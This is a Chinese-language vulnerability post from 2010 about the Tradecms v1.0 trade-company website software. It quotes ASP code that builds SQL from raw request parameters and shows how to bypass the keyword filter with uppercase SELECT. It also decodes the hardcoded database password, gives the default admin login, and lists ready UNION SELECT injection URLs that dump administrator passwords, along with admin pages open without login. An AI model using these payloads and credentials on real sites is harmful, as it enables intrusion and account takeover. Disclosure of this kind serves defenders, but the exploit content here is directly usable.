【漏洞】Tradecms英文外贸企业网站 v1.0 漏洞

  • A+
所属分类:lcx

发布:m4r10
漏洞程序:Tradecms英文外贸企业网站 v1.0
漏洞类型:SQL Injection &越权漏洞
发布时间:2010-07-15
漏洞描述:注入漏洞,跨权限漏洞;
数据库地址:Clkj_DaTa/#Clkj_Cms#.mdb
数据库打开密码:
默认账号密码:用户:admin 密码:1
默认后台地址:/Clkj_Admin/Index.html
漏洞分析:P_view.asp,N_view.asp
'产品显示P_view.asp-------------------------------------------------------

set rs=server.createobject("adodb.recordset")
exec="select * from clkj_Products where clkj_prid="&request("pid") //SQL查询
rs.open exec,conn,1,1
clkj_BigClassID=rs("clkj_BigClassID")
clkj_SmallClassID=rs("clkj_SmallClassID")
clkj_SmallClassName=rs("clkj_SmallClassName")
clkj_BigClassName=rs("clkj_BigClassName")
clkj_prtitle=rs("clkj_prtitle")
clkj_prcontent=rs("clkj_prcontent")
clkj_prkey=rs("clkj_prkey")
clkj_prprdes=rs("clkj_prprdes")
clkj_prpic=rs("clkj_prpic")
rs.close

'新闻显示 N_view.asp----------------------------------------------------------

set rs=server.createobject("adodb.recordset")
exec="select * from clkj_News where clkj_newsid="&request("nid") //SQL查询
rs.open exec,conn,1,1
clkj_news_Title=rs("clkj_news_Title")
clkj_news_content=rs("clkj_news_content")
clkj_news_db=rs("clkj_news_db")
clkj_news_key=rs("clkj_news_key")
clkj_news_time=rs("clkj_news_time")
rs.close
包含文件:
在Clkj_Inc/clkj_inc.asp中包含SQL防注入文件:Clkj_Conn.asp
Clkj_Conn.asp 中防注入代码:
Dim clkj_js,clkj_dui,clkj_i
clkj_js=request.servervariables("query_string") //GET方式
Dim deStr(17) //下面为过滤字符
deStr(0)="net user"
deStr(1)="xp_cmdshell"
deStr(2)="/add"
deStr(3)="exec%20master.dbo.xp_cmdshell"
deStr(4)="net localgroup administrators"
deStr(5)="select"
deStr(6)="count"
deStr(7)="asc"
deStr(8)="char"
deStr(9)="mid"
deStr(10)="'"
deStr(11)=":"
deStr(12)=""""
deStr(13)="insert"
deStr(14)="delete"
deStr(15)="drop"
deStr(16)="truncate"
deStr(17)="from"
clkj_dui=false
For clkj_i= 0 to ubound(deStr)
IF instr(clkj_js,deStr(clkj_i))0 then
clkj_dui=true
end IF
Next
IF clkj_dui Then
Response.Write("出错")
response.end
end if

这段防注入代码只过滤了小写select,因此我们可以用SELECT大写轻松绕过
数据库被加了密码,最近看了很多程序,均对数据库加密码,甚至还有隐藏表名,字段的,还有对ASP文件加密的,难道这是流行趋势吗?其实我是觉得多此一举。
我们来看看数据库密码:
connstr="DBQ="+server.mappath(""&Clkj_mdb&"")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};password="&pwd&";"
PWD在 Clkj_IncClkj_Md5.asp
pwd=NumTOstring("l0k9j8h7b6l0k9j8h7b6")
并且写了一个函数NumTOstring:

Function NumTOstring(num)
num=replace(num,"0","1")
num=replace(num,"9","2")
num=replace(num,"8","3")
num=replace(num,"7","4")
num=replace(num,"6","5")
num=replace(num,"l","a")
num=replace(num,"k","s")
num=replace(num,"j","d")
num=replace(num,"h","f")
num=replace(num,"b","g")
NumTOstring=num
End function

最后得到:pwd=NumTOstring("a1s2d3f4g5a1s2d3f4g5")
这时再打开数据库:查看管理员表名为:clkj_admin,字段为:clkj_admin,clkj_password
漏洞利用:

http://www.0daynet.com/P_view.as ... 0UNION%20SELECT%201,2,3,4,5,clkj_password,clkj_admin,8,9,10,11,12,13,14,15,16,17%20FROM%20clkj_admin

http://www.0daynet.com/N_view.as ... 0UNION%20SELECT%201,2,3,4,5,clkj_password,7,8,9%20FROM%20clkj_admin

直接爆出管理员密码
跨权限漏洞:
以下文件未包含认证文件,因此出现如下漏洞
Clkj_Admin/Nimda_menu.asp 无需登录直接增加删除栏目
Clkj_Admin/Nimda_user.asp 无需登录直接增加删除管理员
Clkj_Admin/Nimda_product.asp 无需登录直接增加产品文章来源于lcx.cc:【漏洞】Tradecms英文外贸企业网站 v1.0 漏洞

相关推荐: 【讨论】伪基站、圈地短信设备是怎么做出来的?

难道乌云上就没有人想研究这个圈地短信设备是怎么做出来的? 苦战 | 2013-11-27 22:51 之前聊过圈地短信这个东西原理相信大家都知道 电脑一台 主机设备一台 天线一个 手机一部 电脑用的哪个软件是个什么软件? 主机我知道是用来模拟基站的,天线嘛发射…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: